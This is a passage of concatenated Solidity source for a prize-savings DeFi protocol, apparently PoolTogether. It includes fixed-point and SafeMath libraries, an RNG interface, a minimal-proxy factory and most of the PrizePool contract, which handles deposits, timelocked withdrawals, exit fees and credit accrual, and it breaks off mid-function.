"./external/openzeppelin/OpenZeppelinSafeMath_V3_3_0.sol"; /** * @author Brendan Asselstine * @notice Provides basic fixed point math calculations. * * This library calculates integer fractions by scaling values by 1e18 then performing standard integer math. */ library FixedPoint { using OpenZeppelinSafeMath_V3_3_0 for uint256; // The scale to use for fixed point numbers. Same as Ether for simplicity. uint256 internal constant SCALE = 1e18; /** * Calculates a Fixed18 mantissa given the numerator and denominator * * The mantissa = (numerator * 1e18) / denominator * * @param numerator The mantissa numerator * @param denominator The mantissa denominator * @return The mantissa of the fraction */ function calculateMantissa(uint256 numerator, uint256 denominator) internal pure returns (uint256) { uint256 mantissa = numerator.mul(SCALE); mantissa = mantissa.div(denominator); return mantissa; } /** * Multiplies a Fixed18 number by an integer. * * @param b The whole integer to multiply * @param mantissa The Fixed18 number * @return An integer that is the result of multiplying the params. */ function multiplyUintByMantissa(uint256 b, uint256 mantissa) internal pure returns (uint256) { uint256 result = mantissa.mul(b); result = result.div(SCALE); return result; } /** * Divides an integer by a fixed point 18 mantissa * * @param dividend The integer to divide * @param mantissa The fixed point 18 number to serve as the divisor * @return An integer that is the result of dividing an integer by a fixed point 18 mantissa */ function divideUintByMantissa(uint256 dividend, uint256 mantissa) internal pure returns (uint256) { uint256 result = SCALE.mul(dividend); result = result.div(mantissa); return result; } } // SPDX-License-Identifier: MIT // NOTE: Copied from OpenZeppelin Contracts version 3.3.0 pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library OpenZeppelinSafeMath_V3_3_0 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0; /// @title Random Number Generator Interface /// @notice Provides an interface for requesting random numbers from 3rd-party RNG services (Chainlink VRF, Starkware VDF, etc..) interface RNGInterface { /// @notice Emitted when a new request for a random number has been submitted /// @param requestId The indexed ID of the request used to get the results of the RNG service /// @param sender The indexed address of the sender of the request event RandomNumberRequested(uint32 indexed requestId, address indexed sender); /// @notice Emitted when an existing request for a random number has been completed /// @param requestId The indexed ID of the request used to get the results of the RNG service /// @param randomNumber The random number produced by the 3rd-party service event RandomNumberCompleted(uint32 indexed requestId, uint256 randomNumber); /// @notice Gets the last request id used by the RNG service /// @return requestId The last request id used in the last request function getLastRequestId() external view returns (uint32 requestId); /// @notice Gets the Fee for making a Request against an RNG service /// @return feeToken The address of the token that is used to pay fees /// @return requestFee The fee required to be paid to make a request function getRequestFee() external view returns (address feeToken, uint256 requestFee); /// @notice Sends a request for a random number to the 3rd-party service /// @dev Some services will complete the request immediately, others may have a time-delay /// @dev Some services require payment in the form of a token, such as $LINK for Chainlink VRF /// @return requestId The ID of the request used to get the results of the RNG service /// @return lockBlock The block number at which the RNG service will start generating time-delayed randomness. The calling contract /// should "lock" all activity until the result is available via the `requestId` function requestRandomNumber() external returns (uint32 requestId, uint32 lockBlock); /// @notice Checks if the request for randomness from the 3rd-party service has completed /// @dev For time-delayed requests, this function is used to check/confirm completion /// @param requestId The ID of the request used to get the results of the RNG service /// @return isCompleted True if the request has completed and a random number is available, false otherwise function isRequestComplete(uint32 requestId) external view returns (bool isCompleted); /// @notice Gets the random number produced by the 3rd-party service /// @param requestId The ID of the request used to get the results of the RNG service /// @return randomNum The random number function randomNumber(uint32 requestId) external returns (uint256 randomNum); } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/introspection/IERC1820RegistryUpgradeable.sol"; library Constants { IERC1820RegistryUpgradeable public constant REGISTRY = IERC1820RegistryUpgradeable(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); // keccak256("ERC777TokensSender") bytes32 public constant TOKENS_SENDER_INTERFACE_HASH = 0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895; // keccak256("ERC777TokensRecipient") bytes32 public constant TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; // keccak256(abi.encodePacked("ERC1820_ACCEPT_MAGIC")); bytes32 public constant ACCEPT_MAGIC = 0xa2ef4600d742022d532d4747cb3547474667d6f13804902513b2ec01c848f4b4; bytes4 public constant ERC165_INTERFACE_ID_ERC165 = 0x01ffc9a7; bytes4 public constant ERC165_INTERFACE_ID_ERC721 = 0x80ac58cd; } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; interface ICompLike is IERC20Upgradeable { function getCurrentVotes(address account) external view returns (uint96); function delegate(address delegatee) external; } pragma solidity >=0.6.0 <0.7.0; // solium-disable security/no-inline-assembly // solium-disable security/no-low-level-calls contract ProxyFactory { event ProxyCreated(address proxy); function deployMinimal(address _logic, bytes memory _data) public returns (address proxy) { // Adapted from https://github.com/optionality/clone-factory/blob/32782f82dfc5a00d103a7e61a17a5dedbd1e8e9d/contracts/CloneFactory.sol bytes20 targetBytes = bytes20(_logic); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) proxy := create(0, clone, 0x37) } emit ProxyCreated(address(proxy)); if(_data.length > 0) { (bool success,) = proxy.call(_data); require(success, "ProxyFactory/constructor-call-failed"); } } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/SafeCastUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/introspection/ERC165CheckerUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import "@pooltogether/fixed-point/contracts/FixedPoint.sol"; import "../external/compound/ICompLike.sol"; import "../registry/RegistryInterface.sol"; import "../reserve/ReserveInterface.sol"; import "../token/TokenListenerInterface.sol"; import "../token/TokenListenerLibrary.sol"; import "../token/ControlledToken.sol"; import "../token/TokenControllerInterface.sol"; import "../utils/MappedSinglyLinkedList.sol"; import "./PrizePoolInterface.sol"; /// @title Escrows assets and deposits them into a yield source. Exposes interest to Prize Strategy. Users deposit and withdraw from this contract to participate in Prize Pool. /// @notice Accounting is managed using Controlled Tokens, whose mint and burn functions can only be called by this contract. /// @dev Must be inherited to provide specific yield-bearing asset control, such as Compound cTokens abstract contract PrizePool is PrizePoolInterface, OwnableUpgradeable, ReentrancyGuardUpgradeable, TokenControllerInterface { using SafeMathUpgradeable for uint256; using SafeCastUpgradeable for uint256; using SafeERC20Upgradeable for IERC20Upgradeable; using MappedSinglyLinkedList for MappedSinglyLinkedList.Mapping; using ERC165CheckerUpgradeable for address; /// @dev Emitted when an instance is initialized event Initialized( address reserveRegistry, uint256 maxExitFeeMantissa, uint256 maxTimelockDuration ); /// @dev Event emitted when controlled token is added event ControlledTokenAdded( ControlledTokenInterface indexed token ); /// @dev Emitted when reserve is captured. event ReserveFeeCaptured( uint256 amount ); event AwardCaptured( uint256 amount ); /// @dev Event emitted when assets are deposited event Deposited( address indexed operator, address indexed to, address indexed token, uint256 amount, address referrer ); /// @dev Event emitted when timelocked funds are re-deposited event TimelockDeposited( address indexed operator, address indexed to, address indexed token, uint256 amount ); /// @dev Event emitted when interest is awarded to a winner event Awarded( address indexed winner, address indexed token, uint256 amount ); /// @dev Event emitted when external ERC20s are awarded to a winner event AwardedExternalERC20( address indexed winner, address indexed token, uint256 amount ); /// @dev Event emitted when external ERC20s are transferred out event TransferredExternalERC20( address indexed to, address indexed token, uint256 amount ); /// @dev Event emitted when external ERC721s are awarded to a winner event AwardedExternalERC721( address indexed winner, address indexed token, uint256[] tokenIds ); /// @dev Event emitted when assets are withdrawn instantly event InstantWithdrawal( address indexed operator, address indexed from, address indexed token, uint256 amount, uint256 redeemed, uint256 exitFee ); /// @dev Event emitted upon a withdrawal with timelock event TimelockedWithdrawal( address indexed operator, address indexed from, address indexed token, uint256 amount, uint256 unlockTimestamp ); event ReserveWithdrawal( address indexed to, uint256 amount ); /// @dev Event emitted when timelocked funds are swept back to a user event TimelockedWithdrawalSwept( address indexed operator, address indexed from, uint256 amount, uint256 redeemed ); /// @dev Event emitted when the Liquidity Cap is set event LiquidityCapSet( uint256 liquidityCap ); /// @dev Event emitted when the Credit plan is set event CreditPlanSet( address token, uint128 creditLimitMantissa, uint128 creditRateMantissa ); /// @dev Event emitted when the Prize Strategy is set event PrizeStrategySet( address indexed prizeStrategy ); /// @dev Emitted when credit is minted event CreditMinted( address indexed user, address indexed token, uint256 amount ); /// @dev Emitted when credit is burned event CreditBurned( address indexed user, address indexed token, uint256 amount ); struct CreditPlan { uint128 creditLimitMantissa; uint128 creditRateMantissa; } struct CreditBalance { uint192 balance; uint32 timestamp; bool initialized; } /// @dev Reserve to which reserve fees are sent RegistryInterface public reserveRegistry; /// @dev A linked list of all the controlled tokens MappedSinglyLinkedList.Mapping internal _tokens; /// @dev The Prize Strategy that this Prize Pool is bound to. TokenListenerInterface public prizeStrategy; /// @dev The maximum possible exit fee fraction as a fixed point 18 number. /// For example, if the maxExitFeeMantissa is "0.1 ether", then the maximum exit fee for a withdrawal of 100 Dai will be 10 Dai uint256 public maxExitFeeMantissa; /// @dev The maximum possible timelock duration for a timelocked withdrawal (in seconds). uint256 public maxTimelockDuration; /// @dev The total funds that are timelocked. uint256 public timelockTotalSupply; /// @dev The total funds that have been allocated to the reserve uint256 public reserveTotalSupply; /// @dev The total amount of funds that the prize pool can hold. uint256 public liquidityCap; /// @dev the The awardable balance uint256 internal _currentAwardBalance; /// @dev The timelocked balances for each user mapping(address => uint256) internal _timelockBalances; /// @dev The unlock timestamps for each user mapping(address => uint256) internal _unlockTimestamps; /// @dev Stores the credit plan for each token. mapping(address => CreditPlan) internal _tokenCreditPlans; /// @dev Stores each users balance of credit per token. mapping(address => mapping(address => CreditBalance)) internal _tokenCreditBalances; /// @notice Initializes the Prize Pool /// @param _controlledTokens Array of ControlledTokens that are controlled by this Prize Pool. /// @param _maxExitFeeMantissa The maximum exit fee size /// @param _maxTimelockDuration The maximum length of time the withdraw timelock function initialize ( RegistryInterface _reserveRegistry, ControlledTokenInterface[] memory _controlledTokens, uint256 _maxExitFeeMantissa, uint256 _maxTimelockDuration ) public initializer { require(address(_reserveRegistry) != address(0), "PrizePool/reserveRegistry-not-zero"); _tokens.initialize(); for (uint256 i = 0; i < _controlledTokens.length; i++) { _addControlledToken(_controlledTokens[i]); } __Ownable_init(); __ReentrancyGuard_init(); _setLiquidityCap(uint256(-1)); reserveRegistry = _reserveRegistry; maxExitFeeMantissa = _maxExitFeeMantissa; maxTimelockDuration = _maxTimelockDuration; emit Initialized( address(_reserveRegistry), maxExitFeeMantissa, maxTimelockDuration ); } /// @dev Returns the address of the underlying ERC20 asset /// @return The address of the asset function token() external override view returns (address) { return address(_token()); } /// @dev Returns the total underlying balance of all assets. This includes both principal and interest. /// @return The underlying balance of assets function balance() external returns (uint256) { return _balance(); } /// @dev Checks with the Prize Pool if a specific token type may be awarded as an external prize /// @param _externalToken The address of the token to check /// @return True if the token may be awarded, false otherwise function canAwardExternal(address _externalToken) external view returns (bool) { return _canAwardExternal(_externalToken); } /// @notice Deposits timelocked tokens for a user back into the Prize Pool as another asset. /// @param to The address receiving the tokens /// @param amount The amount of timelocked assets to re-deposit /// @param controlledToken The type of token to be minted in exchange (i.e. tickets or sponsorship) function timelockDepositTo( address to, uint256 amount, address controlledToken ) external onlyControlledToken(controlledToken) canAddLiquidity(amount) nonReentrant { address operator = _msgSender(); _mint(to, amount, controlledToken, address(0)); _timelockBalances[operator] = _timelockBalances[operator].sub(amount); timelockTotalSupply = timelockTotalSupply.sub(amount); emit TimelockDeposited(operator, to, controlledToken, amount); } /// @notice Deposit assets into the Prize Pool in exchange for tokens /// @param to The address receiving the newly minted tokens /// @param amount The amount of assets to deposit /// @param controlledToken The address of the type of token the user is minting /// @param referrer The referrer of the deposit function depositTo( address to, uint256 amount, address controlledToken, address referrer ) external override onlyControlledToken(controlledToken) canAddLiquidity(amount) nonReentrant { address operator = _msgSender(); _mint(to, amount, controlledToken, referrer); _token().safeTransferFrom(operator, address(this), amount); _supply(amount); emit Deposited(operator, to, controlledToken, amount, referrer); } /// @notice Withdraw assets from the Prize Pool instantly. A fairness fee may be charged for an early exit. /// @param from The address to redeem tokens from. /// @param amount The amount of tokens to redeem for assets. /// @param controlledToken The address of the token to redeem (i.e. ticket or sponsorship) /// @param maximumExitFee The maximum exit fee the caller is willing to pay. This should be pre-calculated by the calculateExitFee() fxn. /// @return The actual exit fee paid function withdrawInstantlyFrom( address from, uint256 amount, address controlledToken, uint256 maximumExitFee ) external override nonReentrant onlyControlledToken(controlledToken) returns (uint256) { (uint256 exitFee, uint256 burnedCredit) = _calculateEarlyExitFeeLessBurnedCredit(from, controlledToken, amount); require(exitFee <= maximumExitFee, "PrizePool/exit-fee-exceeds-user-maximum"); // burn the credit _burnCredit(from, controlledToken, burnedCredit); // burn the tickets ControlledToken(controlledToken).controllerBurnFrom(_msgSender(), from, amount); // redeem the tickets less the fee uint256 amountLessFee = amount.sub(exitFee); uint256 redeemed = _redeem(amountLessFee); _token().safeTransfer(from, redeemed); emit InstantWithdrawal(_msgSender(), from, controlledToken, amount, redeemed, exitFee); return exitFee; } /// @notice Limits the exit fee to the maximum as hard-coded into the contract /// @param withdrawalAmount The amount that is attempting to be withdrawn /// @param exitFee The exit fee to check against the limit /// @return The passed exit fee if it is less than the maximum, otherwise the maximum fee is returned. function _limitExitFee(uint256 withdrawalAmount, uint256 exitFee) internal view returns (uint256) { uint256 maxFee = FixedPoint.multiplyUintByMantissa(withdrawalAmount, maxExitFeeMantissa); if (exitFee > maxFee) { exitFee = maxFee; } return exitFee; } /// @notice Withdraw assets from the Prize Pool by placing them into the timelock. /// The timelock is used to ensure that the tickets have contributed their fair share of the prize. /// @dev Note that if the user has previously timelocked funds then this contract will try to sweep them. /// If the existing timelocked funds are still locked, then the incoming /// balance is added to their existing balance and the new timelock unlock timestamp will overwrite the old one. /// @param from The address to withdraw from /// @param amount The amount to withdraw /// @param controlledToken The type of token being withdrawn /// @return The timestamp from which the funds can be swept function withdrawWithTimelockFrom( address from, uint256 amount, address controlledToken ) external override nonReentrant onlyControlledToken(controlledToken) returns (uint256) { uint256 blockTime = _currentTime(); (uint256 lockDuration, uint256 burnedCredit) = _calculateTimelockDuration(from, controlledToken, amount); uint256 unlockTimestamp = blockTime.add(lockDuration); _burnCredit(from, controlledToken, burnedCredit); ControlledToken(controlledToken).controllerBurnFrom(_msgSender(), from, amount); _mintTimelock(from, amount, unlockTimestamp); emit TimelockedWithdrawal(_msgSender(), from, controlledToken, amount, unlockTimestamp); // return the block at which the funds will be available return unlockTimestamp; } /// @notice Adds to a user's timelock balance. It will attempt to sweep before updating the balance. /// Note that this will overwrite the previous unlock timestamp. /// @param user The user whose timelock balance should increase /// @param amount The amount to increase by /// @param timestamp The new unlock timestamp function _mintTimelock(address user, uint256 amount, uint256 timestamp) internal { // Sweep the old balance, if any address[] memory users = new address[](1); users[0] = user; _sweepTimelockBalances(users); timelockTotalSupply = timelockTotalSupply.add(amount); _timelockBalances[user] = _timelockBalances[user].add(amount); _unlockTimestamps[user] = timestamp; // if the funds should already be unlocked if (timestamp <= _currentTime()) { _sweepTimelockBalances(users); } } /// @notice Updates the Prize Strategy when tokens are transferred between holders. /// @param from The address the tokens are being transferred from (0 if minting) /// @param to The address the tokens are being transferred to (0 if burning) /// @param amount The amount of tokens being trasferred function beforeTokenTransfer(address from, address to, uint256 amount) external override onlyControlledToken(msg.sender) { if (from != address(0)) { uint256 fromBeforeBalance = IERC20Upgradeable(msg.sender).balanceOf(from); // first accrue credit for their old balance uint256 newCreditBalance = _calculateCreditBalance(from, msg.sender, fromBeforeBalance, 0); if (from != to) { // if they are sending funds to someone else, we need to limit their accrued credit to their new balance newCreditBalance = _applyCreditLimit(msg.sender, fromBeforeBalance.sub(amount), newCreditBalance); } _updateCreditBalance(from, msg.sender, newCreditBalance); } if (to != address(0) && to != from) { _accrueCredit(to, msg.sender, IERC20Upgradeable(msg.sender).balanceOf(to), 0); } // if we aren't minting if (from != address(0) && address(prizeStrategy) != address(0)) { prizeStrategy.beforeTokenTransfer(from, to, amount, msg.sender); } } /// @notice Returns the balance that is available to award. /// @dev captureAwardBalance() should be called first /// @return The total amount of assets to be awarded for the current prize function awardBalance() external override view returns (uint256) { return _currentAwardBalance; } /// @notice Captures any available interest as award balance. /// @dev This function also captures the reserve fees. /// @return The total amount of assets to be awarded for the current prize function captureAwardBalance() external override nonReentrant returns (uint256) { uint256 tokenTotalSupply = _tokenTotalSupply(); // it's possible for the balance to be slightly less due to rounding errors in the underlying yield source uint256 currentBalance = _balance(); uint256 totalInterest = (currentBalance > tokenTotalSupply) ? currentBalance.sub(tokenTotalSupply) : 0; uint256 unaccountedPrizeBalance = (totalInterest > _currentAwardBalance) ? totalInterest.sub(_currentAwardBalance) : 0; if (unaccountedPrizeBalance > 0) { uint256 reserveFee = calculateReserveFee(unaccountedPrizeBalance); if (reserveFee > 0) { reserveTotalSupply = reserveTotalSupply.add(reserveFee); unaccountedPrizeBalance = unaccountedPrizeBalance.sub(reserveFee); emit ReserveFeeCaptured(reserveFee); } _currentAwardBalance = _currentAwardBalance.add(unaccountedPrizeBalance); emit AwardCaptured(unaccountedPrizeBalance); } return _currentAwardBalance; } function withdrawReserve(address to) external override onlyReserve returns (uint256) { uint256 amount = reserveTotalSupply; reserveTotalSupply = 0; uint256 redeemed = _redeem(amount); _token().safeTransfer(address(to), redeemed); emit ReserveWithdrawal(to, amount); return redeemed; } /// @notice Called by the prize strategy to award prizes. /// @dev The amount awarded must be less than the awardBalance() /// @param to The address of the winner that receives the award /// @param amount The amount of assets to be awarded /// @param controlledToken The address of the asset token being awarded function award( address to, uint256 amount, address controlledToken ) external override onlyPrizeStrategy onlyControlledToken(controlledToken) { if (amount == 0) { return; } require(amount <= _currentAwardBalance, "PrizePool/award-exceeds-avail"); _currentAwardBalance = _currentAwardBalance.sub(amount); _mint(to, amount, controlledToken, address(0)); uint256 extraCredit = _calculateEarlyExitFeeNoCredit(controlledToken, amount); _accrueCredit(to, controlledToken, IERC20Upgradeable(controlledToken).balanceOf(to), extraCredit); emit Awarded(to, controlledToken, amount); } /// @notice Called by the Prize-Strategy to transfer out external ERC20 tokens /// @dev Used to transfer out tokens held by the Prize Pool. Could be liquidated, or anything. /// @param to The address of the winner that receives the award /// @param amount The amount of external assets to be awarded /// @param externalToken The address of the external asset token being awarded function transferExternalERC20( address to, address externalToken, uint256 amount ) external override onlyPrizeStrategy { if (_transferOut(to, externalToken, amount)) { emit TransferredExternalERC20(to, externalToken, amount); } } /// @notice Called by the Prize-Strategy to award external ERC20 prizes /// @dev Used to award any arbitrary tokens held by the Prize Pool /// @param to The address of the winner that receives the award /// @param amount The amount of external assets to be awarded /// @param externalToken The address of the external asset token being awarded function awardExternalERC20( address to, address externalToken, uint256 amount ) external override onlyPrizeStrategy { if (_transferOut(to, externalToken, amount)) { emit AwardedExternalERC20(to, externalToken, amount); } } function _transferOut( address to, address externalToken, uint256 amount ) internal returns (bool) { require(_canAwardExternal(externalToken), "PrizePool/invalid-external-token"); if (amount == 0) { return false; } IERC20Upgradeable(externalToken).safeTransfer(to, amount); return true; } /// @notice Called to mint controlled tokens. Ensures that token listener callbacks are fired. /// @param to The user who is receiving the tokens /// @param amount The amount of tokens they are receiving /// @param controlledToken The token that is going to be minted /// @param referrer The user who referred the minting function _mint(address to, uint256 amount, address controlledToken, address referrer) internal { if (address(prizeStrategy) != address(0)) { prizeStrategy.beforeTokenMint(to, amount, controlledToken, referrer); } ControlledToken(controlledToken).controllerMint(to, amount); } /// @notice Called by the prize strategy to award external ERC721 prizes /// @dev Used to award any arbitrary NFTs held by the Prize Pool /// @param to The address of the winner that receives the award /// @param externalToken The address of the external NFT token being awarded /// @param tokenIds An array of NFT Token IDs to be transferred function awardExternalERC721( address to, address externalToken, uint256[] calldata tokenIds ) external override onlyPrizeStrategy { require(_canAwardExternal(externalToken), "PrizePool/invalid-external-token"); if (tokenIds.length == 0) { return; } for (uint256 i = 0; i < tokenIds.length; i++) { IERC721Upgradeable(externalToken).transferFrom(address(this), to, tokenIds[i]); } emit AwardedExternalERC721(to, externalToken, tokenIds); } /// @notice Calculates the reserve portion of the given amount of funds. If there is no reserve address, the portion will be zero. /// @param amount The prize amount /// @return The size of the reserve portion of the prize function calculateReserveFee(uint256 amount) public view returns (uint256) { ReserveInterface reserve = ReserveInterface(reserveRegistry.lookup()); if (address(reserve) == address(0)) { return 0; } uint256 reserveRateMantissa = reserve.reserveRateMantissa(address(this)); if (reserveRateMantissa == 0) { return 0; } return FixedPoint.multiplyUintByMantissa(amount, reserveRateMantissa); } /// @notice Sweep all timelocked balances and transfer unlocked assets to owner accounts /// @param users An array of account addresses to sweep balances for /// @return The total amount of assets swept from the Prize Pool function sweepTimelockBalances( address[] calldata users ) external override nonReentrant returns (uint256) { return _sweepTimelockBalances(users); } /// @notice Sweep available timelocked balances to their owners. The full balances will be swept to the owners. /// @param users An array of owner addresses /// @return The total amount of assets swept from the Prize Pool function _sweepTimelockBalances( address[] memory users ) internal returns (uint256) { address operator = _msgSender(); uint256[] memory balances = new uint256[](users.length); uint256 totalWithdrawal; uint256 i; for (i = 0; i < users.length; i++) { address user = users[i]; if (_unlockTimestamps[user] <= _currentTime()) { totalWithdrawal = totalWithdrawal.add(_timelockBalances[user]); balances[i] = _timelockBalances[user]; delete _timelockBalances[user]; } } // if there is nothing to do, just quit if (totalWithdrawal == 0) { return 0; } timelockTotalSupply = timelockTotalSupply.sub(totalWithdrawal); uint256 redeemed = _redeem(totalWithdrawal); IERC20Upgradeable underlyingToken = IERC20Upgradeable(_token()); for (i = 0; i < users.length; i++) { if (balances[i] > 0) { delete _unlockTimestamps[users[i]]; uint256 shareMantissa = FixedPoint.calculateMantissa(balances[i], totalWithdrawal); uint256 transferAmount = FixedPoint.multiplyUintByMantissa(redeemed, shareMantissa); underlyingToken.safeTransfer(users[i], transferAmount); emit TimelockedWithdrawalSwept(operator, users[i], balances[i], transferAmount); } } return totalWithdrawal; } /// @notice Calculates a timelocked withdrawal duration and credit consumption. /// @param from The user who is withdrawing /// @param amount The amount the user is withdrawing /// @param controlledToken The type of collateral the user is withdrawing (i.e. ticket or sponsorship) /// @return durationSeconds The duration of the timelock in seconds function calculateTimelockDuration( address from, address controlledToken, uint256 amount ) external override returns ( uint256 durationSeconds, uint256 burnedCredit ) { return _calculateTimelockDuration(from, controlledToken, amount); } /// @dev Calculates a timelocked withdrawal duration and credit consumption. /// @param from The user who is withdrawing /// @param amount The amount the user is withdrawing /// @param controlledToken The type of collateral the user is withdrawing (i.e. ticket or sponsorship) /// @return durationSeconds The duration of the timelock in seconds /// @return burnedCredit The credit that was burned function _calculateTimelockDuration( address from, address controlledToken, uint256 amount ) internal returns ( uint256 durationSeconds, uint256 burnedCredit ) { (uint256 exitFee, uint256 _burnedCredit) = _calculateEarlyExitFeeLessBurnedCredit(from, controlledToken, amount); uint256 duration = _estimateCreditAccrualTime(controlledToken, amount, exitFee); if (duration > maxTimelockDuration) { duration = maxTimelockDuration; } return (duration, _burnedCredit); } /// @notice Calculates the early exit fee for the given amount /// @param from The user who is withdrawing /// @param controlledToken The type of collateral being withdrawn /// @param amount The amount of collateral to be withdrawn /// @return exitFee The exit fee /// @return burnedCredit The user's credit that was burned function calculateEarlyExitFee( address from, address controlledToken, uint256 amount ) external override returns ( uint256 exitFee, uint256 burnedCredit ) { return _calculateEarlyExitFeeLessBurnedCredit(from, controlledToken, amount); } /// @dev Calculates the early exit fee for the given amount /// @param amount The amount of collateral to be withdrawn /// @return Exit fee function _calculateEarlyExitFeeNoCredit(address controlledToken, uint256 amount) internal view returns (uint256) { return _limitExitFee( amount, FixedPoint.multiplyUintByMantissa(amount, _tokenCreditPlans[controlledToken].creditLimitMantissa) ); } /// @notice Estimates the amount of time it will take for a given amount of funds to accrue the given amount of credit. /// @param _principal The principal amount on which interest is accruing /// @param _interest The amount of interest that must accrue /// @return durationSeconds The duration of time it will take to accrue the given amount of interest, in seconds. function estimateCreditAccrualTime( address _controlledToken, uint256 _principal, uint256 _interest ) external override view returns (uint256 durationSeconds) { return _estimateCreditAccrualTime( _controlledToken, _principal, _interest ); } /// @notice Estimates the amount of time it will take for a given amount of funds to accrue the given amount of credit /// @param _principal The principal amount on which interest is accruing /// @param _interest The amount of interest that must accrue /// @return durationSeconds The duration of time it will take to accrue the given amount of interest, in seconds. function _estimateCreditAccrualTime( address _controlledToken, uint256 _principal, uint256 _interest ) internal view returns (uint256 durationSeconds) { // interest = credit rate * principal * time // => time = interest / (credit rate * principal) uint256 accruedPerSecond = FixedPoint.multiplyUintByMantissa(_principal, _tokenCreditPlans[_controlledToken].creditRateMantissa); if (accruedPerSecond == 0) { return 0; } return _interest.div(accruedPerSecond); } /// @notice Burns a users credit. /// @param user The user whose credit should be burned /// @param credit The amount of credit to burn function _burnCredit(address user, address controlledToken, uint256 credit) internal { _tokenCreditBalances[controlledToken][user].balance = uint256(_tokenCreditBalances[controlledToken][user].balance).sub(credit).toUint128(); emit CreditBurned(user, controlledToken, credit); } /// @notice Accrues ticket credit for a user assuming their current balance is the passed balance. May burn credit if they exceed their limit. /// @param user The user for whom to accrue credit /// @param controlledToken The controlled token whose balance we are checking /// @param controlledTokenBalance The balance to use for the user /// @param extra Additional credit to be added function _accrueCredit(address user, address controlledToken, uint256 controlledTokenBalance, uint256 extra) internal { _updateCreditBalance( user, controlledToken, _calculateCreditBalance(user, controlledToken, controlledTokenBalance, extra) ); } function _calculateCreditBalance(address user, address controlledToken, uint256 controlledTokenBalance, uint256 extra) internal view returns (uint256) { uint256 newBalance; CreditBalance storage creditBalance = _tokenCreditBalances[controlledToken][user]; if (!creditBalance.initialized) { newBalance = 0; } else { uint256 credit = _calculateAccruedCredit(user, controlledToken, controlledTokenBalance); newBalance = _applyCreditLimit(controlledToken, controlledTokenBalance, uint256(creditBalance.balance).add(credit).add(extra)); } return newBalance; } function _updateCreditBalance(address 